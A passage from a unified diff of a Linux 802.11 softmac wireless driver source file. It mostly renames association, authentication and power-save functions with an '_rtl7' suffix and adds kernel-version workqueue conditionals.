cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, 